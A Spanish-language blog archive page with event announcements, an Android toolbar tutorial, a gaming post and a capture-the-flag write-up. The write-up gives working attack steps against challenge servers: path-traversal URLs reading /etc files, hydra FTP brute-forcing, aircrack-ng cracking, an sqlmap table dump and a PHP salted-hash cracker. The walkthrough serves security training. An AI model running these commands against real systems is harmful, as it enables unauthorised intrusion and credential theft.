Tag Archives: redes sociales

Platica: Introducción al hacking y a la seguridad informática

banner-1000

Material de la charla Introducción al hacking y a la seguridad informática que di en la Universidad Tecnológica de Morelia. En esta platica abordamos los conceptos básicos de la cultura hacker y su filosofía, también hablamos un poco sobre el estilo de vida y lo que implica dedicarse a la seguridad informática como profesional (consultor de seguridad informática).

Dragonjar Security Conference 2015

Durante la semana del 14 al 18 de Septiembre de este año se celebrara en Manizales Colombia uno de los congresos de seguridad informática más importantes en Latinoamérica, en el que tendré el honor y placer de participar impartiendo un taller de desarrollo seguro de aplicaciones para Android :). Dragonjar Security Conference es organizado para la comunidad Dragonjar, una de las comunidades mas antiguas y respetadas de habla hispana.

CNd5g04UEAA9PPJ

Capture

@DragonJarCon es un evento que reúne ponentes y talleristas de 7 países y en donde aprenderás las últimas técnicas obre programación segura, pentesting, informática forense y muchísimos temas más, les dejo la lista completa:

  • Vulnerabilidades 0-day
  • Pentesting.
  • Seguridad en Redes.
  • Ingeniería Social.
  • Criptografía.
  • Seguridad Física.
  • Seguridad Móviles
  • Computo Forense
  • Seguridad en Entornos Industriales
  • Seguridad en la Nube
  • Seguridad en Tecnologías Emergentes
  • Desarrollo y programación segura

Si estas interesado en saber mas acerca de las conferencias y talleres impartidas durante el evento puedes revisar directamente en la pagina principal Dragonjar Security Conference 2015

Gana una entrada para la Dragonjar security conference 2015 en Manizales Colombia

Si eres un entusiasta de la seguridad informática y el hacking ético, definitivamente es un evento que no te puedes perder, así que estaremos rifando una entrada para asistir a las conferencias del evento, participar es bastante sencillo.

Las bases son las siguientes:

  • Es requisito indispensable que los participantes en el concurso sean de Colombia o que tengan disposición de viajar al evento (Universidad de Manizales).
  • Para entrar en el sorteo deberás dar RT a esta publicación en el siguiente enlace https://twitter.com/Alevsk/status/642155277417103361
  • Por ultimo escribir un comentario en este post acerca de cuál es tu libro o película de Hacking favorito, no te olvides de escribir tu usuario de twitter.

Y eso es todo, tienen desde hoy hasta el miércoles 16 de septiembre a las 12:00 del medio día para inscribirse, una vez cerradas las inscripciones los organizadores de DragonjarCON seleccionaran al ganador mediante un sorteo en random.org.

Buena suerte a todos!

Solución al reto Capture The Flag de #CPMX6

dc-flag

Otro año, otro campus party al que asisto. En esta ocasión me di tiempo de asistir a varias conferencias y workshops que se impartieron durante el evento (y no solo pasármela en la zona gamer :p), además, al igual que en el evento pasado también estuve participando en el reto de seguridad que fue organizado por el Instituto Tecnológico Superior de Atlixco.

El wargame estuvo muy divertido (horas y horas de diversión) y me ayudo a conocer a mas colegas de la seguridad informática durante el evento, bueno sin mas preámbulo comienzo a explicar en que consistía cada uno de los retos y como fue que llegue a la solución.

Reto #1

Comenzando con lo básico, en el reto uno nos daban la IP donde había alojada una pagina web, la pagina tenia varias pestañas y la URL de cada una de las secciones tenia una estructura como la siguiente:

http://52.11.240.182/index.php?file=contacto.html

Jugando un poco con el parámetro file vemos que el sitio tiene una vulnerabilidad de Local File Inclusión. Utilizando la herramienta que desarrollo mi amigo @lightOS para explotar este tipo de vulnerabilidad https://github.com/lightos/Panoptic es posible automatizar el proceso y obtener archivos importantes del servidor, por ejemplo:

http://52.11.240.182/index.php?file=../../../../../../../../../../etc/apache2/envvars
http://52.11.240.182/index.php?file=../../../../../../../../../../etc/logrotate.d/apache2

ctf_cpmx_1

Sin embargo, el reto es mas sencillo que eso, en el archivo robots.txt (corrimos un dirbuster al sitio web) vimos que hay un archivo llamado dir.txt, revisando su contenido nos encontramos:

$ ls -l
html/
secreto.txt

secreto.txt, un archivo interesante, entonces aprovechamos el Local File Inclusion que teníamos y cargamos este archivo.

http://52.11.240.182/index.php?file=../secreto.txt

ctf_cpmx_2

67d71184adf4b700d5cadce0c9bfdcc7e91d01cb <- esta es la bandera del reto 🙂

Reto #2

El segundo reto nos daba como pista “DNS record types” junto con un dominio gcs-ibero.com, si es la primera vez que escuchan de record types en el siguiente enlace podrán encontrar mas información https://en.wikipedia.org/wiki/List_of_DNS_record_types

Entendiendo un poco mas sobre el tema comenzamos a hacer lookup a los distintos records hasta que llegamos al record TXT http://mxtoolbox.com/TXTLookup.aspx y encontramos la solución.

ctf_cpmx_3

4db055f7386c6bb8a14b5883417a4b61 <- es la bandera de este reto

Reto #3

El reto numero 3 es bastante interesante, al inicio nos dan una captura de paquetes, un archivo .pcapng que procedemos a visualizar con wireshark (si no han escuchado de el o no saben utilizarlo ahora es el momento https://www.wireshark.org/)

ctf_cpmx_4

Como podemos observar hay partes de la lectura que están cifradas (ahí se ve una negociación TLS), por suerte entre los archivos que nos daban también venia una llave privada (llave.pem) que nos servirá para descifrar esas partes. En Wireshark nos vamos al menú Edit > Preferences y en la siguiente ventana del lado derecho seleccionamos Protocol > SSL

ctf_cpmx_5

Damos clic en RSA keys list y agregamos una nueva llave, nos pedirá algunos datos como dirección IP, puerto, protocolo y la llave privada (llave.pem), haciendo un análisis de lo que teníamos anteriormente:

En la captura tenemos dos direcciones IP:

  • 192.168.15.7 (dirección local)
  • 52.27.174.204 (dirección remota a la que nos estamos comunicando)

De igual forma, viendo la captura, sabemos que la comunicación con la maquina remota fue atreves de ftp utilizando el puerto 21 (por default) por lo tanto escribimos esos datos y adjuntamos la llave privada como se muestra en la siguiente imagen.

ctf_cpmx_6

ctf_cpmx_7

Damos ok a las ventanas y Wireshark nos debería de mostrar el trafico descifrado. Para analizar mas rápido vamos a pasar la captura a un archivo de texto, File > Print. Seleccionamos Plaint Text y Output to file.

ctf_cpmx_8

Abrimos el archivo generado con nuestro editor de texto favorito y empezamos a buscar por cadenas interesantes como password, pass, secret, etc

ctf_cpmx_9

La bandera de este reto es: ZXASDF727fa2raSFP!FRA-,aSF

Reto #4

El reto cuatro era facil y consistía en un reto criptográfico, al principio nos daban una cadena de texto que parecía no tener sentido y en mi experiencia la mayoría de los retos de este tipo son cifrados caesar. Con la ayuda de google buscamos un sitio para resolver este tipo de cifrados de sustitución por desplazamiento http://www.xarg.org/tools/caesar-cipher/

Introducimos el texto cifrado y obtenemos la respuesta 🙂

ctf_cpmx_10

Mas sabe el diablo por viejo que por diablo <- esta es la bandera del reto

Reto #5

Tip: la bandera es el md5 del contenido del archivo zip.

El reto nos da un archivo comprimido en formato zip, que tiene la particularidad que al descomprimirlo nos genera otro archivo zip, y después otro y otro mas, parecería nunca acabar, lo primero que hice fue abrir el archivo con un editor hexadecimal solo para corroborar lo que ya sabíamos.

ctf_cpmx_11

Del lado derecho podemos ver los nombres de los archivos que se van generado: 617.zip, 293.zip, 558.zip, 689.zip, etc. (son bastantes) así que lo mas fácil es realizar un script para descomprimir todo lo que haya que descomprimir recursivamente xd, yo utilice un comando en bash.

$ while [ "`find . -type f -name '*.zip' | wc -l`" -gt 0 ]; do find -type f -name "*.zip" -exec unzip -- '{}' \; -exec rm -- '{}' \;; done

ctf_cpmx_11
Al final del ultimo Zip nos encontramos con un archivo de texto llamado flag.txt, calculamos su hash md5 y obtenemos la bandera 🙂

$ md5sum flag.txt
da44354d0de702b12934235a51094813 flag.txt

da44354d0de702b12934235a51094813 <- es la bandera del reto (el hash)

Reto #6

El reto 6 nos dio bastante dolor de cabeza a los participantes, a pesar de que su solución era bastante sencilla, en el reto nos daban una dirección IP y se nos pedía utilizar nmap https://nmap.org/ (para escaneo de puertos y servicios) y Hydra para realizar ataques de fuerza bruta, hubo bastante confusión puesto que a aparentemente el servidor solo tenia corriendo un servicio de ssh y fue lo que intente atacar.

El servidor ssh no soportaba autenticación mediante usuario y contraseña por lo que termine creando script en bash, python, etc y probando diferentes tipos de exploits sin éxito :(. Me di cuenta que el primer escaneo que realice no fue un barrido completo de puertos, así que volví a escanear nuevamente esta vez asegurándome de revisar todos los puertos.

$ nmap –sV –p- --version-all --max-retries 1–d IP
...
...
333/tcp open ftp vsftpd 2.0.8 or later
...
...
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Fri Jul 24 18:08:31 2015 -- 1 IP address (1 host up) scanned in 6.26 seconds

Y ahora si encontramos que en el puerto 333 había un servidor de ftp corriendo.
Empezamos a analizar el servicio, tratamos de conectarnos y vemos como responde.

Intentando conectarse con el usuario admin

$ ftp admin @ 52.26.250.230 333
Connected to 52.26.250.230.
220 Welcome to FTP service.
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

Intentando conectarse con el usuario root

$ ftp root @ 52.26.250.230 333
Connected to 52.26.250.230.
220 Welcome to FTP service.
530 Permission denied.
ftp: Login failed
ftp> exit
221 Goodbye.

El usuario admin parece ser valido (vean como las respuestas son diferentes), pero no tenemos la contraseña, utilizaremos hydra y un buen diccionario, al final y después de un par de horas obtuvimos la contraseña 🙂

$ hydra -t 1 -l admin -P default_pass_for_services_unhash.txt -vV -s 333 52.26.250.230 ftp

ctf_cpmx_12

La bandera de esto reto era x.x: 12345678 (máximum trolling)

Reto #7

Otro reto bastante sencillo, aquí nos dan una foto y se nos pide encontrar la marca del dispositivo con el que fue tomado la fotografía.

Utilizamos cualquier extractor de metadatos online http://regex.info/exif.cgi y obtenemos que la foto fue tomada con una dispositivo Huawei

ctf_cpmx_13

La bandera del reto es: Huawei

Reto #8

En el reto 8 nos dan un archivo .iv que podemos crackear utilizando aircrack-ng, para quien no sepa aircrack es un software incluido en la distribución de seguridad Kali que sirve para crackear redes inalámbricas http://www.aircrack-ng.org/

En nuestro kali utilizamos aircrack-ng para procesar el archivo .iv del reto:

$ aircrack-ng captura.iv

ctf_cpmx_14

Y obtenemos la contraseña de la red inalámbrica que también es la solución al reto
12345 <- es la bandera de este reto

Reto #9

El ultimo reto del capture the flag consistía en explotar una vulnerabilidad de inyección SQL y obtener la contraseña en texto plano del administrador del sitio. El reto, al inicio nos presenta un sitio web con un catalogo de películas, podemos consultar las películas de un director en especifico con una URL similar a la siguiente:

http://54.68.213.190/busqueda.php?idDirector=1

Esta claro que si queremos inyectar comandos SQL tendremos que empezar por el parámetro idDirector y para hacerlo de una forma mas rápida y automática utilizaremos la herramienta sqlmap http://sqlmap.org/ que viene instalada en nuestro Kali.

$ sqlmap --url=http://54.68.213.190/busqueda.php?idDirector=1 --level=1 --risk=3 --all

ctf_cpmx_15

La herramienta nos hace un dump de la tabla de usuarios y vemos que los passwords son almacenados no en texto plano sino cifrados (probablemente en md5), también observamos que la tabla contiene un campo de salt y un valor que muy seguramente fue utilizado para calcular el hash de la contraseña.

Pues manos a la obra (o mas bien dicho, al teclado), el reto nos pide encontrar la contraseña del usuario maria (que es el administrador del sitio), podemos hacer rápidamente un script para intentar crackear el hash.

<?php 
$salt = "WDUOPALD6N";
$hash = "fa38084963f74741ea1184963fa2cd91";

$handle = fopen("pass2.txt", "r");
if ($handle) {
    while (($line = fgets($handle)) !== false) {
    	
    	$line = str_replace("\n", "", $line);

		if(md5($salt.$line) == $hash || md5($line.$salt) == $hash)
		{
			echo $line . " OK! \n";
			exit(); 
		} else {
			echo $line . ":" . md5($salt.$line) . " Nop\n";
		}   
    }

    fclose($handle);
} else {
    echo "file error \n";
} 

?>

Lo que hace nuestro script es, con la ayuda de un diccionario de 2 millones de contraseñas populares, intentar encontrar cual es el texto plano concatenado al valor salt del hash que obtenemos, para cada contraseña de nuestro diccionario calculamos

  • salt + contraseña = hash
  • Contraseña + salt = hash

Y revisamos si tenemos alguna coincidencia.

ctf_cpmx_16

Afortunadamente la contraseña en texto plano se encontraba en nuestro diccionario y la pudimos encontrar 🙂

La bandera del reto final era: passw0rd1 (era la contraseña numero 795975 en nuestro diccionario)

ctf_cpmx_17

Nos vemos el siguiente año.
Happy hacking 🙂

Tutorial Material Design en Android #3

Agregando iconos (actions) al ToolBar

Hola lectores programadores :), continuamos con la serie de tutoriales de Material Design en Android, siguiendo con los post anteriores ahora toca agregar algunos elementos a nuestra Toolbar personalizada, pero primero nos encargaremos de un pequeño “bug estético”, actualmente nuestra app luce así y si hacemos tap en el icono superior derecho (3 puntos) veremos que la letra del popupMenu es apenas visible. Corrijamos eso.
popupmenu_bug

Nos vamos a nuestros ya conocidos archivos styles.xml

  • /app/src/main/res/values/styles.xml
  • /app/src/main/res/values-21/styles.xml (api 21)

Y vamos a agregar un nuevo item con nombre popupTheme, quedando de la siguiente forma

values/style.xml

<resources>

    <!-- Base application theme. -->
    <style name="AppTheme" parent="AppTheme.Base">
        <!-- Customize your theme here. -->
    </style>

    <style name="AppTheme.Base" parent="Theme.AppCompat.Light.NoActionBar">
        <item name="colorPrimary">@color/primaryColor</item>
        <item name="colorPrimaryDark">@color/primaryColorDark</item>
        <item name="colorAccent">@color/colorAccent</item>
        <item name="popupTheme">@style/Base.ThemeOverlay.AppCompat.Dark</item>
    </style>

</resources>

values-21/style.xml (api 21)

<?xml version="1.0" encoding="utf-8"?>
<resources>

    <!-- Base application theme. -->
    <style name="AppTheme" parent="AppTheme.Base">
        <item name="android:colorPrimary">@color/primaryColor</item>
        <item name="android:colorPrimaryDark">@color/primaryColorDark</item>
        <item name="android:textColorPrimary">@color/textColorPrimary</item>
        <item name="android:colorAccent">@color/colorAccent</item>
        <item name="android:popupTheme">@style/Base.ThemeOverlay.AppCompat.Dark</item>
    </style>

</resources>

Guardamos y corremos la aplicación de nuevo y ahora veremos algo como lo siguiente, ¿Mucho mejor cierto?

popupmenu_dark

Es posible personalizar aún mas este elemento del ToolBar, estos son algunos de los atributos que podemos utilizar

  • popupMenuStyle
  • textColorPrimary
  • popupAnimationStyle>
  • popupBackground

Se puede personalizar prácticamente cualquier aspecto del menú, por ejemplo:

popupmenu_custom2

Les dejo de tarea hacer su propio menú custom 🙂 y bueno ahora que tenemos resuelta esa parte del popupMenu toca agregar los iconos, en nuestro proyecto de Android Studio, en la carpeta res (resources) dentro del apartado de menú encontramos un archivo llamado menu_main.xml (si por algún motivo no está entonces deberán crearlo /res/menu/menu_main.xml).

Como en todos los tutoriales les dejo la documentación oficial sobre los lineamientos sobre los iconos, sus dimensiones y formas aqui y aca.

Por default nuestro menú solo tiene 1 elemento como podemos ver en el siguiente código

<menu xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    tools:context="com.alevsk.materialdesignapp.MainActivity">
    <item
        android:id="@+id/action_settings"
        android:orderInCategory="100"
        android:title="@string/action_settings"
        app:showAsAction="never" />
</menu>

El elemento item tiene algunos atributos, por ejemplo app:showAsAction puede tomar tres valores:

  • never: No mostrara el icono
  • ifRoom: Si hay espacio mostrara el icono
  • always: Siempre mostrara el icono

android:title es el atributo donde definimos el nombre de la acción (si por ejemplo deciden no mostrar un icono o mostrarlo solo si hay espacio, por default el título de la acción será el que definan con este atributo).

Por el momento vamos a definir 3 acciones (conforme avance esto los remplazaremos), quedando el código del archivo menu_main.xml de la siguiente manera.

<menu xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    tools:context="com.alevsk.materialdesignapp.MainActivity">
    <item
        android:id="@+id/action_search"
        android:icon="@drawable/abc_ic_search_api_mtrl_alpha"
        android:orderInCategory="1"
        android:title="Busqueda"
        app:showAsAction="always" />
    <item
        android:id="@+id/action_copy"
        android:icon="@drawable/abc_ic_menu_copy_mtrl_am_alpha"
        android:orderInCategory="2"
        android:title="Copiar"
        app:showAsAction="always" />

    <item
        android:id="@+id/action_selectall"
        android:icon="@drawable/abc_ic_menu_selectall_mtrl_alpha"
        android:orderInCategory="3"
        android:title="Seleccionar todo"
        app:showAsAction="always" />
</menu>

Corremos la app y veremos algo como esto

toolbar_icons

¿Los iconos no son muy visibles verdad?, podemos arreglar esto rápidamente, el tema por default de nuestra aplicación es texto oscuro sobre fondos claros, esa es la razón por la que los iconos tienen un color oscuro, sin embargo podemos modificar nuestro archivo app_bar.xml e indicar que queremos que esa parte especifica de la app (ToolBar) utilice el tema de textos claros sobre fondos oscuros, así que editamos /app/src/main/res/layout/app_bar.xml y definimos el tema Holo como se muestra a continuación.

<?xml version="1.0" encoding="utf-8"?>
<android.support.v7.widget.Toolbar xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    app:theme="@style/Theme.AppCompat.NoActionBar"
    android:layout_height="wrap_content"
    android:background="@color/primaryColor">

</android.support.v7.widget.Toolbar>

toolbar_icons3

Eso es todo por ahora, en el siguiente tutorial vamos a definir de que va a tratar nuestra app y aprenderemos a implementar desde cero unos de los elementos más poderosos de Android, el NavigationDrawer 🙂 salu2

#FelizDiaGamer Lo que he jugado este año

#DiaGamer #FelizDiaGamer #DiaDelGamer
Hoy me entere que existe el día del Gamer (de alguna forma no me sorprende), investigando un poco encontré que se lleva celebrando desde 2008 y gracias a una revista española de videojuegos y al apoyo de toda la comunidad gamer :). Ser gamer es algo relativamente nuevo para mi (2 años para acá), ya que en el pasado no tenia una buena maquina donde jugar y mis laptops casi nunca tenían espacio disponible en disco xD, pero eso cambio cuando conseguí una ASUS G750JW, esta maquina al menos en el momento que estoy escribiendo, puede correr todos los juegos de gama alta :). Teniendo ahora una computadora en donde puedo jugar “de todo” por fin pude probar todos esos juegos de steam que acumule durante los veranos y que nunca pude jugar por mi “deficit” de hardware xD. Pero bueno mi intención en este post es compartir algunos de los juegos con los que me he divertido / frustrado / enojado / llorado en este ultimo año xD.

La saga Call of Duty aka CoD

Call-of-Duty-Black-Ops-Multiplayer-Reveal-Hands-On

Call of Duty, indudablemente un shooter multiplayer que recuerdo con una sonrisa en mi rostro, este juego es muy especial para mi ya que en algún momento de mi carrera, en la universidad donde estudio, se convirtió en el juego predilecto para la gente de sistemas, CoD fue un juego que ayudo a romper el hielo entre los estudiantes veteranos y los de nuevo ingreso, ayudo a crecer el circulo social y a formar lazos de amistad (y aveces de desprecio hacia aquellos que cobardemente usaban Grenade Launcher aka tubo xD), asi que una de las primeras cosas que hice al tener mi laptop de gaming fue instalar y jugar Call of Duty, era hermoso, a diferencia de mi antiguo “cacharro” ahora podía tirar y que me tiraran granadas de humo sin que el juego crasheara o los frames se bajaran entre 5-10, las armas parecían mas realistas y el juego definitivamente te hacia sentir en un campo de batalla :).

MOBAS: League of Legends y Dota 2

league_of_legends_header

Por alguna razón los mobas (Multiplayer online battle arena) son un tipo de juego bastante adictivo para mi, inclusive hubo una epoca en donde los jugaba todos los dias. Dota 2 lo jugue por que la mayoría de mis amigos parecían venir de una larga estirpe de doteros (dota 1) en mi ciudad, entonces les gustaba bastante ese juego, por otra parte League of Legends se convirtió rápidamente en mi moba favorito, los personajes, sus mecánicas y habilidades me agradaron bastante e incluso hoy en día lo sigo jugando de vez en cuanto, LoL es un juego que en lo personal aprendí a amar y odiar al mismo tiempo, me ha hecho reír, maldecir, llorar y frustrarme xD. La gente que frecuenta estos juegos entenderá el por que :p.

Este es Lee sin, mi personaje favorito de league of legends

Dark Souls

league_of_legends_header

En un intento por ser un poco menos casual (what r u casul?) en cuanto al gaming un amigo me introdujo en el mundo de dark souls, solo diré que es uno de los mejores juegos que he jugado en mi vida gamer, el concepto de un juego extremadamente difícil así como la historia del mismo resulto bastante interesante para mi y me engancho, como muchos otros morí incontables veces en el juego pero al final logre terminarlo (dark souls 1, ahora estoy comenzando con el 2 xD) y fue una gran satisfacción.

league_of_legends_header

Survival Horror: DayZ e Infestation

tumblr_mqxpuoeFrJ1rd90z0o1_1280
Los juegos de Survival Horror por si solos son buenos, pero si además le agregas interacción con otras personas en línea creas una experiencia totalmente diferente y difícil de describir, es el caso de juegos como Dayz o Infestation donde juegas en un mundo poblado de zombis y tienes que abrirte paso en las diferentes ciudades recolectando recursos (comida, armas, municiones) o cualquier otra cosa que te pueda llegar a servir, el verdadero problema aqui no son los zombis sino los demás jugadores humanos xD, si hay algo que aprendes después de jugar DayZ, es que no puedes confiar en nadie que no conozcas físicamente en el mundo real, en nadie!!!, Pareciera pues que DayZ e Infestation son juegos diseñados para que las personas demuestren su verdadera naturaleza humana xD, muchas veces con mis amigos llegamos a capturar prisioneros humanos y obligarlos a comer comida podrida en el juego o cosas así, por diversión xD.

Fighters: Mortal Kombat, Street Fighter y SkullGirls

Mortal_Kombat_3

Los juegos de peleas siempre son una buena opción a la hora de divertirnos entre amigos, son juegos rápidos que permiten que todo mundo tenga oportunidad de jugar, Mortal Kombat, Street Fighter y SkullGirl son de mis favoritos en mi repertorio de Steam, aunque en lo personal soy muy malo en SkullGirls en Mortal Kombat he aprendido a dominar a 3 personajes con los que casi siempre gano y logre terminar el juego en la maxima dificultad.

MMORPG: World of Warcraft y Tera

south_park_wow

Aun que no lo crean hubo una época en donde jugué bastantes MMORPG, World of Warcraft, Ragnarok, Tibia, LOTRO (Lord Of The Rings Online), etc. Los MMORPG son juegos bastante adictivos y mas si los juegas con amigos, te puedes llegar a meter bastante en el personaje lo que lo hace aun mas divertido 🙂 en lo personal World of Warcraft me hizo ver que hay toda una economia que gira detras de ese juego, cuando uno esta metido mucho en ese mundo no es raro encontrar sitios en Internet donde contratan gente (la mayoría chinos) para que farmen (conseguir) oro 24/7, el cual es vendido después por dinero real, incluso existen divisas y tazas de cambio entre dólares y oro xD, por la parte de programación solo diré que WoW me hizo adentrarme en el mundo del scripting con LUA, programe un par de plugins que me ayudaban a jugar de forma mas eficiente (así lo veo yo), después de jugar WoW estuve jugando un rato Tera con uno de mis mejores amigos de la universidad @the_kiq, trolleabamos bastante y conseguíamos cosas gratis por que teníamos personajes femeninos xD.

Arcade: OSU!

OSU!, mi juego casual favorito xD, incluso dedique una entrada en este blog para hablar un poco sobre el. OSU! es el tetris del mouse, me refiero es que es de esos juegos que te permiten jugar y no pensar en nada mas, solo existes tu y el juego, pone tu mente en blanco y te ayuda a relajarte. La comunidad de OSU! es gigantesca y muy amigable, tiene beatmaps para todos los gustos musicales, OSU! es definitivamente un juego que nunca te aburrirá.

Voy a parar aquí por ahora, por que si publicara todo lo que he jugado nunca acabaría xD, mejor tratare de disfrutar el #DiaGamer
salu2